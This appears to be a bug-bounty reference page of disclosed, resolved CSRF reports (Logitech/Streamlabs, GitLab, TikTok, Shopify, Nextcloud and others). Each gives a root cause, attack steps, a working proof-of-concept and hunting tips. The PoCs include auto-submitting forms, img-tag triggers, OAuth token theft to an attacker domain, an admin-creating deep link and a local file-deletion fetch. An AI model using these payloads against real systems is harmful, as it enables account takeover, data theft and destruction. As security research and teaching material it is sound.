Insight — When an app uses event delegation keyed on CSS classes, any feature that lets users control class names (Mermaid, markdown, sanitized-HTML attributes) can hijack those handlers. Look for JS that reads href/data-* from a clicked element and issues a state-changing request - class injection turns it into a one-click CSRF/SSRF-of-self.
Real-world example
OAuth state CSRF protection bypassed with a null byte (%00) appended to state
◆ Medium
Specimen #1046630 · logitech · USD 200 · 99 votes · resolved
Program logitechSurface webChain State-CSRF bypass -> social account link -> account taTag oauthTag account-takeover
Root cause
After a prior fix added a state check to the account-merge OAuth callback, appending %00 to the state value slips past the validation while the backend still treats it as valid, re-enabling the CSRF that links the attacker's Twitch account to the victim.
Method
- As attacker, start merge-Twitch, capture the callback GET with code+scope+state, generate a CSRF PoC and drop the request (code is single-use)
- Append %00 to the state value in the PoC
- Host it; victim visits -> attacker's Twitch account is connected to victim's Streamlabs -> attacker logs in via Twitch (ATO)
<button onclick="document.location='https://streamlabs.com/auth?code=e5p67p5r6vjizvpl2fj756625zv8ra&scope=user_read&state=b33a75be1737978b4c5ea22f7bf53078c86256db-merge%00'">Click Me</button>
Insight — When a CSRF/state fix appears in place, retest it with byte-level mutations: trailing null byte (%00), whitespace, case, duplicated params, or truncation. Validation and consumption layers often disagree on where the value ends, re-opening a patched CSRF.
Real-world example
SAML RelayState open redirect persisted in cookie -> OAuth implicit-grant token theft
◆ Medium
Specimen #1923672 · gitlab · USD 2450 · 98 votes · resolved
Program gitlabSurface webChain Logout CSRF -> SAML RelayState open redirect (stored) -&gTag oauthTag saml
Root cause
Insufficient URL validation of the SAML RelayState creates an open redirect that gets saved into the sign-in redirect cookie; combined with a provider (Bitbucket) that allows OAuth implicit grant reusing GitLab's client_id, the access token is delivered to the attacker's domain.
Method
- Log the victim out (logout CSRF)
- Use SAML with RelayState=<attacker-controlled URL> so the open redirect is stored in GitLab cookies
- Trigger Bitbucket OAuth with response_type=token (implicit) and GitLab's redirect_uri; the saved redirect exfiltrates the bearer token to the attacker
- Use the stolen token against api.bitbucket.org
<form action="https://bitbucket.org/site/oauth2/authorize" method="get">
<input type="hidden" name="client_id" value="b9jLmh8WCLZPBAwWba"/>
<input type="hidden" name="redirect_uri" value="https://gitlab.com/users/auth/bitbucket/callback"/>
<input type="hidden" name="response_type" value="token"/>
<input type="hidden" name="state" value="Doesnotmatter"/>
</form>
Insight — An open redirect that is persisted (cookie/session) is far more dangerous than a reflected one: it converts any subsequent same-site OAuth callback into a token-leak sink. Where a provider supports implicit grant (response_type=token) and pre-consented wide scopes, redirect_uri validation + a stored open redirect = full third-party token theft. Chain logout-CSRF to reset victim state first.
Real-world example
CSRF on JSON endpoint by dropping token and switching to form content-type
◆ Medium
Specimen #1890310 · tiktok · awarded · 78 votes · resolved
Program tiktokSurface web
Root cause
A JSON API action was effectively protected only by requiring a CSRF token header and application/json; removing the CsrfToken header and re-encoding the body as x-www-form-urlencoded produces a browser-forgeable request the server still accepts.
Method
- Take the JSON POST that creates a ticket (with CsrfToken header)
- Remove the CsrfToken header and convert the JSON body to application/x-www-form-urlencoded fields
- Wrap in an auto-submitting HTML form; the action executes cross-site
<form method="POST" action="https://vulnerableEndpoint">
<input type="hidden" name="category_id" value="X"/>
<input type="hidden" name="title" value="Happy"/>
<input type="hidden" name="componentContents" value='[{"id":"X","raw_value":"very happy"}]'/>
</form>
<script>document.forms[0].submit()</script>
Insight — If an endpoint 'requires' JSON + a token, try re-encoding the body as x-www-form-urlencoded (a form-submittable content-type) and dropping the token. Servers that parse both content-types but only enforce CSRF on the JSON path become CSRFable, since HTML forms can only send simple content-types.
Real-world example
CSRF token validated by length/presence, not value
◆ Medium
Specimen #994504 · shopify · 1900 · 53 votes · resolved
Program shopifySurface web
Root cause
The server checks that authenticity_token is present and well-formed but does not verify it belongs to the session; a modified/replayed token is accepted.
Method
- Capture a request containing authenticity_token
- Alter a few characters of the token and replay
- Observe the request still succeeds -> token not truly validated
- Build a CSRF PoC embedding any/attacker token
POST /signup HTTP/1.1
Host: partners.shopify.com
Content-Type: application/x-www-form-urlencoded
authenticity_token=<ANY_MUTATED_TOKEN>&organization[business_name]=pwned&...
Insight — Don't assume a token field means protection. Mutate/trim/blank the token and replay: length-only or presence-only checks are common and fully bypassable.
Real-world example
GET-based CSRF via email-tracking one-click link (force follow)
◆ Medium
Specimen #1964211 · linkedin · awarded · 53 votes · resolved
Program linkedinSurface web
Root cause
A single-member email deep link performs a state change (follow / send invite) via GET with no confirmation step, so any victim clicking a crafted URL executes the action.
Method
- Capture the email 'discover/follow' or 'send-invite' link
- Identify the state-change parameters (entityUrn/member id, username)
- Replace with attacker identity and deliver the link to victims
https://www.linkedin.com/comm/mynetwork/discovery-see-all/?entityUrn=urn:li:fs_DiscoveryEntity:(urn:li:member:<USER-ID>,PEOPLE_FOLLOW)&...
https://www.linkedin.com/comm/mynetwork/send-invite/<USERNAME>/?...
Insight — Email 'one-click' action links are GET CSRF by design. Grab the tracking URL, swap the target/actor id, and check whether it fires without an intermediary confirm.
Real-world example
Anti-CSRF header present but not validated + JSON via text/plain
◆ Medium
Specimen #1049360 · logitech · awarded · 49 votes · resolved
Program logitechSurface api
Root cause
Request carried X-CSRF/X-XSRF headers but the server never validated them, so removing the headers cross-origin still succeeds; JSON body is delivered from an HTML form using enctype=text/plain.
Method
- Replay the state-change request without the X-CSRF/X-XSRF headers -> still 200
- Build a form with enctype=text/plain whose single input name+value reconstructs the JSON body
- Auto-submit cross-origin
<form action="https://streamlabs.com/api/v6/.../donation_settings" method="post" enctype="text/plain">
<input name='{"username":{"value":"x","autofill":false},"amount":{"value":null,"currency":"USD","autofill":true},"clips":{"isVisibleToPublic":true,"ignore_me":"' value='"}}'>
</form>
<script>document.forms[0].submit()</script>
Insight — A CSRF header in the request proves nothing. Strip it and replay. For JSON endpoints, the enctype=text/plain name/value split builds a valid JSON body (trailing =value appended into an ignored key).
Real-world example
CSRF on account deactivation (no token, empty password accepted)
◆ Medium
Specimen #1121990 · evernote · 300 · 43 votes · resolved
Program evernoteSurface webTag account-takeover
Root cause
The account-deactivation POST endpoint had no anti-CSRF token and accepted an empty password/oneTimeCode, so a cross-site auto-submitting form could deactivate a victim's account.
Method
- Capture the CloseAccount POST request
- Confirm no CSRF token and that password/oneTimeCode may be blank
- Build an auto-submitting HTML form to the endpoint and deliver to the victim
<form action="https://www.evernote.com/secure/CloseAccount.action?accountAction=deactivateAccount&json=true" method="POST">
<input type="hidden" name="password" value="" />
<input type="hidden" name="oneTimeCode" value="" />
<input type="hidden" name="reasons[checked]" value="true" />
</form><script>document.forms[0].submit()</script>
Insight — State-changing 'destructive' endpoints (deactivate/delete/close) are prime CSRF targets; check for a token and whether the password/confirmation field is actually enforced server-side (often accepted empty). Missing token + optional password = one-click victim account destruction.
Real-world example
Integration takeover chain: OAuth CSRF + auto project-select + open redirect
◆ Medium
Specimen #226199 · security · USD 1000 · 36 votes · resolved
Program securitySurface webChain OAuth CSRF -> forced JIRA re-link -> auto-select attacTag oauthTag saml
Root cause
Chaining several weaknesses lets an attacker connect their own JIRA project to a victim's program: the JIRA-link consent screen hides which project will be linked, linking auto-selects the attacker's project without interaction, and JIRA OAuth lacks CSRF protection (aided by a link-protection bypass and a SAML open redirect). New victim reports then clone into the attacker's JIRA.
Method
- Attacker crafts a malicious JIRA JWT link; consent screen doesn't reveal the target project
- Victim (already having JIRA connected) clicks 'Link JIRA Instance' -> attacker's instance replaces theirs and their project auto-selects
- OAuth CSRF + link-protection bypass + SAML open redirect are used to deliver/authorize the request
- All new reports are cloned into the attacker-controlled JIRA project (data exfiltration)
Link-protection bypass: /users/%2E/saml/sign_in?email=teste@hackerone.com
Malicious JIRA link with attacker JWT + OAuth request lacking CSRF token
Insight — Third-party integration (JIRA/Slack/GitHub) connect flows are rich chains: check the consent screen names the exact resource, that OAuth callbacks carry an anti-CSRF state, and that auto-selection can't be forced. Combine with any open redirect / link-filter bypass to deliver the malicious authorization to a logged-in victim.
Real-world example
OAuth/integration connect without confirmation -> account linking via stolen click
◆ Medium
Specimen #172289 · security · USD 500 · 36 votes · resolved
Program securitySurface webChain XSS/clickjack on partner -> read OAuth crumb -> forge Tag oauthTag account-takeover
Root cause
A sensitive integration flow (connect HackerOne to attacker's Slack via OAuth) completed with a single click and without a re-auth/confirmation step or robust CSRF protection, so an attacker who steals one click can bind the victim's account to attacker-controlled infrastructure.
Method
- Attacker pre-authenticates their own Slack in the victim's browser context
- Attacker opens the H1 integrations OAuth window (window.open)
- Victim is induced to click 'Connect' (clickjacking / social-eng / XSS on the OAuth-partner side)
- Attacker script reads the OAuth confirm form action + CSRF crumb from the popup and auto-submits create_authorization
- Victim's H1 account is now linked to attacker's Slack channel
puppet_window = window.open('https://hackerone.com/security/integrations','_blank');
// after user clicks, read confirm form from popup and repost:
var url = puppet_window.document.getElementById('oauth_authorize_confirm_form').action;
var crumb = puppet_window.document.getElementsByName('crumb')[0].value;
document.body.innerHTML = '<form id=f action="'+url+'" method=post><input name=create_authorization value=1><input name=crumb value="'+crumb+'"><input name=channel value="C03CKQQDQ"></form>';
document.getElementById('f').submit();
Insight — Sensitive linking/integration actions must require explicit confirmation and password re-auth, and be same-origin/CSRF-protected. Look for OAuth 'connect' endpoints that complete on one click with a predictable/leakable form.
Real-world example
State change reachable via GET = inherent CSRF (Semgrep-found)
◆ Medium
Specimen #1477050 · elastic · awarded · 35 votes · resolved
Program elasticSurface web
Root cause
A mutating action (create curation, change setting, delete, escalate) is exposed over GET, so it can never carry a body-based CSRF token and fires from any <img>/<a>/redirect.
Method
- Identify create/update/delete actions served on GET
- Confirm they mutate state with only the session cookie
- Deliver as a simple link/image or auto-submitting GET form
https://TARGET/internal/app_search/engines/<engine>/curations/find_or_create?query=PWNED
<form action="https://TARGET/.../find_or_create" method="get"><input name="query" value="PWNED"></form>
Insight — Grep the app (or Semgrep) for state-changing GET routes. GET CSRF ignores SameSite=Lax-friendly heuristics only when it's a top-level navigation; embedded as <img> it's silent. Seen across: change network routing, delete album, escalate report (private-data leak).
Real-world example
Referer-based anti-CSRF regex bypass with special chars
◆ Medium
Specimen #975983 · cs_money · 300 · 33 votes · resolved
Program cs_moneySurface web
Root cause
The only CSRF defense is a Referer-header regex that is anchored loosely; appending '{' or '}' after the trusted host (which Safari accepts in a hostname) makes new.cs.money{.attacker.com match, enabling site-wide CSRF.
Method
- Determine defense is Referer regex (no SameSite/Origin/token/content-type check)
- Register/host attacker domain as new.cs.money{.attacker.com (Safari tolerates '{')
- Submit the CSRF form from that origin; Referer passes the flawed regex
// hosted at new.cs.money{.attacker.com
<form action="https://new.cs.money/change_email" method="POST">
<input name="email" value="attacker@evil"></form>
<script>document.forms[0].submit()</script>
Insight — When CSRF relies on a Referer/Origin allowlist regex, probe with domain.tld{.attacker.com, domain.tld.attacker.com, attacker.com/domain.tld, @domain.tld. Safari accepts characters like { } that other browsers reject, widening bypasses.
Real-world example
JSON CSRF via form enctype=text/plain (content-type not enforced)
◆ Medium
Specimen #245346 · wakatime · none · 33 votes · resolved
Program wakatimeSurface api
Root cause
A cookie-authenticated JSON API accepts bodies with Content-Type other than application/json; an HTML form with ENCTYPE=text/plain crafts a valid JSON body using the input name/value split, so no preflight and no token are needed.
Method
- Confirm the JSON endpoint accepts text/plain bodies (no strict content-type check, no token)
- Put the JSON up to the last quote in the input name and the closing '}' in the value
- Auto-submit the form cross-origin
<form id=f ENCTYPE="text/plain" action="https://api.wakatime.com/api/v1/users/current/heartbeats" method=post>
<input name='{"entity":"https://zzz.com","type":"domain","time":"...","fakeparam":"' value='test"}'></form>
<script>f.submit()</script>
Insight — JSON is only CSRF-safe if the server rejects non-application/json content types. The name='{..."k":"' value='v"}' trick yields {"k":"=v"} - valid JSON. Fix is enforcing content type or requiring an API key/header.
Real-world example
JSON CSRF via Flash SWF + 307 redirect content-type forgery
◆ Medium
Specimen #263662 · gsa_bbp · awarded · 33 votes · resolved
Program gsa_bbpSurface web
Root cause
When application/json content-type is required, a Flash (SWF) app posts JSON to an attacker PHP that 307-redirects to the target; the 307 replays the POST with a forged Content-Type, and Flash/browser ignore SOP/crossdomain for the request itself.
Method
- Host SWF + PHP (307 redirect) + crossdomain.xml on attacker origin
- SWF POSTs JSON to the PHP endpoint
- PHP returns 307 to the real API; browser resends POST with attacker-set Content-Type
- API processes the JSON action in victim's session
http://attacker/test.swf?jsonData={"site":1,"branch":"master"}&php_url=http://attacker/test.php&endpoint=https://federalist.18f.gov/v0/build
// tool: https://github.com/sp1d3r/swf_json_csrf
Insight — Legacy but instructive: the 307-redirect trick forwards the original POST body while letting the redirector control headers, forging Content-Type to defeat JSON CSRF protections. Modern equivalent is text/plain simple requests (#2326194).
Real-world example
Missing CSRF token on state-changing POST (auto-submit form)
◆ Medium
Specimen #534908 · pixiv · awarded · 31 votes · resolved
Program pixivSurface web
Root cause
A state-changing POST endpoint validates only the session cookie and has no anti-CSRF token or Origin/SameSite check, so any cross-site page can auto-submit a form that the browser sends with the victim's cookies.
Method
- Perform the target action in Burp and capture the POST request and its body params.
- Rebuild the request as an HTML form of hidden inputs; add server-controllable fields with attacker values.
- Auto-submit on page load; the victim's cookies ride along and the action executes.
<html><body>
<form action="https://chatstory.pixiv.net/imported" method="POST">
<input type="hidden" name="id" value="10997105"/>
<input type="hidden" name="text" value="..."/>
<input type="hidden" name="title" value="..."/>
<input type="hidden" name="user_id" value="ATTACKER_ID"/>
<input type="hidden" name="is_original" value="true"/>
</form>
<script>history.pushState('','','/');document.forms[0].submit();</script>
</body></html>
Insight — For every state-changing POST/GET, remove the token and Referer/Origin and replay; if it still works it is CSRF. Escalate by targeting the highest-value action on the same origin (delete account, add credit card, delete resource) - the delete/add-pet, add-to-cart and account-deletion variants are the same primitive.
Real-world example
Bypass X-Requested-With CSRF check via Flash + 307 redirect
◆ Medium
Specimen #44146 · vimeo · awarded · 31 votes · resolved
Program vimeoSurface webTag cors
Root cause
An endpoint's only CSRF defense was requiring the X-Requested-With: XMLHttpRequest header. Flash can set that header, and by first hitting an attacker domain that 307-redirects to the target, Flash sends the custom-header request to the target BEFORE fetching the target's crossdomain.xml.
Method
- Host a SWF on a domain whose crossdomain.xml you control.
- SWF issues the request (with X-Requested-With) to attacker.php, which returns HTTP 307 to the protected target URL.
- Flash follows the 307 to the target, re-sending the custom header and the victim's cookies, firing the action before the target crossdomain.xml is checked.
1. Safari loads attacker.swf
2. SWF -> https://attacker.tld/pwn.php (responds 307 Location: https://developer.vimeo.com/api/playground/me)
3. SWF follows 307 to target WITH X-Requested-With: XMLHttpRequest + cookies
(response is not readable, but the state change happens)
Insight — Header-only CSRF protection (X-Requested-With) is not sufficient. Legacy Flash/307 header-spoofing is largely dead, but the lesson holds: any single custom-header check is weak; treat 307 redirects as a way to smuggle otherwise-blocked requests across origins.
Real-world example
CSRF on API endpoints when authenticated via HTTP Basic Auth
◆ Medium
Specimen #195156 · shopify · awarded · 30 votes · resolved
Program shopifySurface apiChain CSRF -> stored XSS in admin (product body_html)
Root cause
API endpoints skipped anti-CSRF token validation for form-urlencoded requests when the user was authenticated with HTTP Basic Auth, because the browser auto-attaches the saved Authorization header on cross-site requests just like a cookie.
Method
- Trigger/keep a saved HTTP Basic Auth credential for the API host (browser auto-sends Authorization).
- Cross-site auto-submit a form-urlencoded POST to any /admin/*.json endpoint.
- Use _method=PUT|PATCH|DELETE to reach non-POST endpoints via the same form.
<form action="https://[shop].myshopify.com/admin/products.json" method=post>
<input name="product[title]" value="CSRF">
<input name="product[body_html]" value="<h1>stored XSS for admins</h1>">
<input type=submit>
</form>
<!-- add <input name=_method value=delete> to reach DELETE endpoints -->
Insight — HTTP Basic Auth is a CSRF-ambient credential exactly like cookies: if the app checks Basic Auth before/instead of the CSRF token, every state-changing API call is forgeable. Also test the _method override param to reach PUT/PATCH/DELETE routes from an HTML form.
Real-world example
CSRF via CORS-simple request (no-cors POST + _method) with path traversal -> arbitrary file delete
◆ Medium
Specimen #1353103 · gitlab · 750 · 27 votes · resolved
Program gitlabSurface webChain CSRF -> path traversal -> arbitrary local file/folder Tag cors
Root cause
A dev-mode route (letter_opener_web) deletes files with no CSRF token or auth; using fetch with mode:no-cors and _method=DELETE makes it a CORS 'simple request' (no preflight), and %2e%2e%2f path traversal in the id lets it delete files outside the intended dir.
Method
- Find a local/dev route that mutates state and relies only on CORS (no token).
- Send it as a CORS simple request: fetch(url,{method:'POST',mode:'no-cors',body:FormData with _method=DELETE}) to avoid preflight.
- Encode traversal as %2e%2e%2f (Chrome auto-decodes %2e to '.' and breaks it, so use Firefox/Safari) to escape the base directory.
const path='%2e%2e%2f'.repeat(20)+encodeURIComponent(fileToDelete);
const form=new FormData();form.append('_method','DELETE');
fetch(`http://127.0.0.1:3000/rails/letter_opener/${path}`,{method:'POST',body:form,mode:'no-cors'});
Insight — Drive-by attacks on localhost dev servers are real: probe dev tooling (letter_opener, webpack, rails panels) from a public page. Keep requests to 'simple' methods/headers to dodge preflight, and remember browsers differ on %2e decoding - Firefox/Safari preserve traversal that Chrome collapses.
Real-world example
Login CSRF on token/captcha-guarded login + reflected XSS via login param
◆ Medium
Specimen #835142 · drive_net_inc · none · 26 votes · resolved
Program drive_net_incSurface webChain login CSRF -> reflected XSS via rememberMe
Root cause
The login flow relied on an FCTX anti-CSRF token and reCAPTCHA, but the g-recaptcha-response could be reused/omitted and the FCTX token was not enforced, enabling login CSRF; additionally the rememberMe login parameter was reflected unsanitized, giving reflected XSS at login time.
Method
- Capture the login POST; drop/replay the FCTX token and g-recaptcha-response to confirm they are not strictly bound/consumed.
- Auto-submit a cross-site login form with attacker (or victim) creds to demonstrate login CSRF.
- Inject an XSS payload into a reflected login field (rememberMe) so the login response executes it.
<form action="https://www.target/reception/?.AMRU=https%3A%2F%2Fwww.target%2F" method="POST">
<input name="login" value="email"><input name="password" value="pass">
<input name="rememberMe" value="<img src=x onerror=alert(document.domain)>">
<input name="g-recaptcha-response" value="REUSED_TOKEN"></form>
Insight — Login pages are frequently unprotected against CSRF and captcha tokens are often not single-use; always replay them. Reflected params in the login/response (rememberMe, returnUrl) are prime XSS sinks that CSRF can then deliver without any victim login.
Real-world example
CSRF that turns self/reflected XSS into a deliverable attack
◆ Medium
Specimen #1183241 · mtn_group · none · 25 votes · resolved
Program mtn_groupSurface webChain CSRF -> reflected XSS -> session/cookie theft
Root cause
A form field is reflected unsanitized (reflected XSS) but only reachable via POST, and the POST has no CSRF token; the attacker auto-submits a cross-site form whose parameter carries the XSS payload, so a victim merely visiting the page executes the script - self/POST-only XSS becomes attacker-deliverable.
Method
- Find a reflected XSS in a POST parameter (here ColdFusion CFID reflected into HTML).
- Confirm the endpoint has no anti-CSRF token / SameSite protection.
- Auto-submit a cross-site form with the XSS payload as the field value; victim's visit fires the XSS with target cookies.
<form action="https://target/index.cfm?GO=DEALS" method="POST">
<input type="hidden" name="CFID" value='UUID"><img src=x onerror=alert(document.domain)>'>
<input type="hidden" name="CFTOKEN" value="0"></form>
<script>history.pushState('','','/');document.forms[0].submit();</script>
Insight — POST-only or 'self' XSS is not a dead end: if the endpoint lacks CSRF protection, CSRF is the delivery vector, upgrading it to a real, one-click stored/reflected XSS. Always pair a reflected POST param with a CSRF check. (Variants: DoD alerts source[] param #2736979/#1118501; ImpressCMS admin memberslist_id[] + {$smarty.version} SSTI probe #1096123.)
Real-world example
Password-reset token leaked via Referer + tokenless reset = account takeover
◆ Medium
Specimen #738 · security (HackerOne) · 100 · 24 votes · resolved
Program security (HackerOne)Surface webChain referer token leak -> tokenless password reset -> accoTag account-takeover
Root cause
The reset-password page carries the reset_password_token in the URL and has no anti-CSRF token; any off-site resource loaded from that page (e.g. an image link) leaks the token in the Referer header, and the tokenless reset endpoint then lets the referrer set an attacker-chosen password.
Method
- Get the victim onto the reset page (URL contains reset_password_token) and induce a click/load of an attacker-controlled off-site resource.
- Read the Referer header on the attacker server to capture the reset_password_token.
- POST the reset endpoint (no CSRF token required) with that token and a new password.
# leaked automatically when victim loads an external image/link on the reset page:
GET /936/ HTTP/1.1
Host: attacker.tld
Referer: https://target/users/password/edit?reset_password_token=SECRET_TOKEN
Insight — Secrets in URLs leak via Referer to every third-party resource on the page - never put reset/verification tokens in query strings, set Referrer-Policy, and require a fresh CSRF token on the reset POST. On recon, watch outbound Referer for tokens.
Real-world example
Desktop-client CSRF via custom URI deep link (unencoded token + body injection) - CVE-2023-22472
◆ Medium
Specimen #1741430 · nextcloud · awarded · 24 votes · resolved
Program nextcloudSurface desktopChain deep link -> authenticated arbitrary POST -> admin use
Root cause
The Nextcloud desktop client registers a custom URI scheme (nc://) and builds an authenticated OCS POST by string-concatenating attacker-controlled deep-link fields without encoding: the 'token' segment allows ../ path traversal to redirect the request to any endpoint, and the relative-path segment is injected raw into the POST body to add arbitrary parameters.
Method
- Craft an nc:// deep link; abuse the token part with ../../ traversal to point at a sensitive endpoint (e.g. /ocs/v1.php/cloud/users).
- Abuse the path part to inject '¶m=value' pairs into the POST body (create admin user, etc.).
- Victim clicks the link (email/chat); the installed client sends the authenticated POST.
nc://open/admin@target/.\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&email=mail@example.com&groups[]=admin&\..\.owncloudsync.log?token=../../../../../../../ocs/v1.php/cloud/users
Insight — Native/desktop apps that register custom URI schemes are a CSRF surface too: web pages can invoke them with attacker data. Look for unencoded concatenation of deep-link params into request URLs (path traversal to redirect the endpoint) and bodies (parameter injection). Re-check 'fixes' - this was a patch bypass.
Real-world example
State-changing action accepts GET, bypassing CSRF token (CVE-2023-49920)
◆ Medium
Specimen #2294709 · ibb (Apache Airflow) · awarded · 24 votes · resolved
Program ibb (Apache Airflow)Surface web
Root cause
Airflow 2.7.0-2.7.3 allowed triggering a DAG via a GET request, and GET requests were not covered by CSRF validation, so a cross-site page could trigger DAG execution in a logged-in user's browser.
Method
- Confirm a sensitive action (dag/trigger) is reachable via GET.
- Note the CSRF middleware only validates unsafe methods (POST/PUT/DELETE), leaving GET unchecked.
- Cross-site auto-load the GET URL to fire the action with the victim's session.
<img src="https://airflow.target/dag/DAG_ID/trigger">
<!-- or window.location / hidden GET form -->
Insight — CSRF frameworks usually exempt 'safe' methods (GET/HEAD). Any state change wired to GET slips past token checks entirely - hunt for mutating GET endpoints (trigger/run/enable/delete) as a reliable CSRF class even when POST is protected.
Real-world example
Integration toggle CSRF via boolean GET param (no_auth_mode=1)
◆ Medium
Specimen #174328 · slack · $500 · 22 votes · resolved
Program slackSurface webTag webhook
Root cause
A channel integration management URL accepted a state-changing GET parameter (no_auth_mode=1) with no CSRF token, letting an attacker flip a GitHub integration into unauthenticated mode.
Method
- Obtain the integration/service URL (leaked to non-admin members in the 'added an integration' notice), e.g. https://TEAM.slack.com/services/SERVICE_ID
- Host a page that image-loads that URL with ?no_auth_mode=1
- Lure a channel admin to open it — integration switches to unauthed mode
<html><img src="https://TEAM.slack.com/services/SERVICE_ID?no_auth_mode=1"></html>
Insight — Enumerate integration/service management URLs and test toggling boolean query params (no_auth_mode, enabled, active) via GET — these settings toggles frequently lack CSRF protection.
Real-world example
Account-deletion CSRF on unprotected POST
◆ Medium
Specimen #856518 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
The closeAccount POST endpoint enforced no CSRF token, so a cross-site auto-submitting form deletes the victim's account when they visit an attacker page.
Method
- Host an auto-submit form targeting /services/user/closeAccount
- Victim visits while authenticated
- Account is closed/deleted
<form action="https://TARGET/services/user/closeAccount" method="POST">
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
Insight — Destructive account-lifecycle endpoints (closeAccount, delete, deactivate) are the highest-value CSRF targets — test them first even when nothing is 'reflected'.
Real-world example
CSRF via deprecated-but-registered AJAX action missing nonce
◆ Medium
Specimen #881855 · wordpress · awarded · 21 votes · resolved
Program wordpressSurface web
Root cause
A deprecated-since-3.5 handler (wp_ajax_set-background-image) was still registered and checked the capability (edit_theme_options) but not a nonce, so an admin could be CSRF'd into changing the blog background.
Method
- Craft a form POST to admin-ajax.php with action=set-background-image and a valid attachment_id
- Get a logged-in admin to open it
- Background image changes
<form action="https://[WP]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="attachment_id" value="5">
<input type="hidden" name="action" value="set-background-image">
<input type="hidden" name="size" value="thumbnail">
</form>
Insight — Legacy/deprecated code paths often predate nonce enforcement; grep AJAX/action handlers that call current_user_can but omit check_admin_referer/wp_verify_nonce — capability check alone is not CSRF defense.
Real-world example
CSRF token scoped to group, shared across all editors
◆ Medium
Specimen #315524 · vkcom · USD 300 · 20 votes · resolved
Program vkcomSurface web
Root cause
In Group IM the anti-CSRF hash was bound to group_id (and initially a long-lived timehash / later a static hash) rather than to the individual user session, so the same token was valid for every editor with IM access.
Method
- Obtain the group IM hash (valid for the whole group, ~7h timehash; a static variant was also found)
- Craft a CSRF form using that hash to send a message / delete a dialog
- Lure another editor-or-above of the same group; the action executes as that victim
POST /al_im.php?gid=XXX (action + hash tied to group_id, reusable across users)
Insight — Verify CSRF tokens are bound to the user session, not to the resource/tenant. A token keyed only on object/group id is reusable by anyone with access, turning CSRF into a targeted 'frame your neighbor' attack.
Real-world example
GET-write CSRF amplified via chained return_url + img flood
◆ Medium
Specimen #205953 · lyst · $150 · 19 votes · resolved
Program lystSurface web
Root cause
Adding a stock-alert/saved item was a tokenless GET that also honored a chainable return_url redirect, letting an attacker perform many writes per request and flood the victim's saved list into unusability.
Method
- Identify the GET save/stock-alert endpoint
- Chain nested return_url values to add multiple items in one request, or embed many 1px <img> tags with different product IDs
- Victim's saved list is flooded with thousands of entries
GET /email-capture/stock-alert/93543518/?return_url=/email-capture/stock-alert/91703404/?return_url=/email-capture/stock-alert/89201857/ HTTP/1.1
Host: www.lyst.com
Insight — GET write endpoints that accept a return_url can be chained to perform many mutations per request; combine with numerous img tags to amplify a benign write into a usability DoS.
Real-world example
State-changing GET CSRF via <img> tag
◆ Medium
Specimen #111216 · shopify · awarded · 18 votes · resolved
Program shopifySurface web
Root cause
A state-mutating action (disconnect a linked Twitter/OAuth account) was exposed over GET with no token, so a single <img> tag triggers it from any page.
Method
- Find the GET action route (e.g. /auth/twitter/disconnect)
- Place it in an <img src>
- Victim loads the attacker page -> integration disconnected
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
Insight — Any GET that mutates state (disconnect, delete, unsubscribe, close) is CSRFable with a bare <img>/<script> tag and sidesteps form-based defenses; enumerate /disconnect, /delete/id/, /unsubscribe style routes. Also seen deleting media albums via GET /mediagallery/delete/id/{id} on a .mil asset (#2697588).
Real-world example
CSRF against JSON API via enctype=text/plain form trick
◆ Medium
Specimen #593893 · magic-bbp · $500 · 17 votes · resolved
Program magic-bbpSurface api
Root cause
A JSON API endpoint that regenerates developer API keys lacked CSRF tokens; using an HTML form with enctype=text/plain the attacker submits a body the JSON parser tolerates, rotating/destroying the victim's keys cross-site.
Method
- Target the tokenless JSON endpoint (.../keys/regenerate)
- Build a form with enctype=text/plain and an input named '{}' with empty value so the body reads {}=
- Victim opens the page -> keys regenerated, breaking their app repeatedly
<form action="https://api.fortmatic.com/v1/dashboard/api_user/keys/regenerate" method="POST" enctype="text/plain">
<input type="hidden" name="{}" value="">
<input type="submit">
</form>
Insight — JSON-only endpoints are still CSRFable via the enctype=text/plain trick: a form field named '{}' with empty value produces a body of {}= that many JSON parsers accept; always test API endpoints assuming Content-Type is not strictly enforced.
Real-world example
CSRF on state-changing upload (no anti-CSRF token)
◆ Medium
Specimen #401483 · chaturbate · 300 · 17 votes · resolved
Program chaturbateSurface webTag file-upload
Root cause
An image-upload endpoint accepts cross-origin form-posted multipart requests with no CSRF token or Origin/Referer check, so an attacker page can add images to a victim's photoset.
Method
- Identify a state-changing multipart POST that uses only cookies for auth.
- Build an auto-submitting HTML form targeting it with the victim's known/public object id (set_id here).
- Host and lure the victim; the request runs with their session and mutates their account.
<form action="https://TARGET/photo_videos/upload/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="set" value="SET_ID">
<input type="file" name="image"> <!-- prefilled via JS/DataTransfer -->
</form>
<script>document.forms[0].submit()</script>
Insight — Multipart/file endpoints are often overlooked for CSRF protection. Test upload/settings POSTs by stripping the token and replaying cross-origin; public/guessable object IDs remove the only barrier.
Real-world example
Login CSRF: no session validation on login form
◆ Medium
Specimen #339352 · unikrn · awarded · 15 votes · resolved
Program unikrnSurface webTag account-takeover
Root cause
The login endpoint accepts a cross-site POST with attacker credentials and no anti-CSRF token, silently logging the victim into the attacker's account.
Method
- Auto-submit a POST form to the login endpoint with the attacker's own credentials.
- Victim is now authenticated as the attacker without noticing.
- Victim's actions (payment info, personal data) land in the attacker-controlled account, which the attacker later reads.
<form action="https://unikrn.com/apiv1/login" method="POST">
<input type="hidden" name="usr" value="attacker@example.com">
<input type="hidden" name="pwd" value="attackerpass">
<input type="submit">
</form>
Insight — Login CSRF is real impact, not a nag: forge a login with attacker creds so the victim silently uses the attacker account (payment/PII capture, activity monitoring). Test every login/auth POST for a session-bound anti-CSRF token; JSON-only login endpoints are exploitable via XHR/Flash content-type forging (seen in #577920).
Real-world example
Flash + 307 redirect to forge application/json Content-Type
◆ Medium
Specimen #766205 · stripo · none · 15 votes · resolved
Program stripoSurface apiTag cors
Root cause
An API that relies solely on requiring Content-Type: application/json as CSRF defense is bypassable: a Flash file sends a cross-origin request that is 307-redirected to the target, preserving method and body while the attacker sets the JSON Content-Type.
Method
- Confirm the endpoint only checks Content-Type: application/json (no token/Origin check).
- Host a crossdomain.xml + Flash file that POSTs the JSON body cross-origin.
- Route it through a 307 redirector so method+body are preserved to the real endpoint.
- Authenticated victim's session executes the JSON POST (e.g. create a plugin/application).
Content-Type: application/json;charset=UTF-8
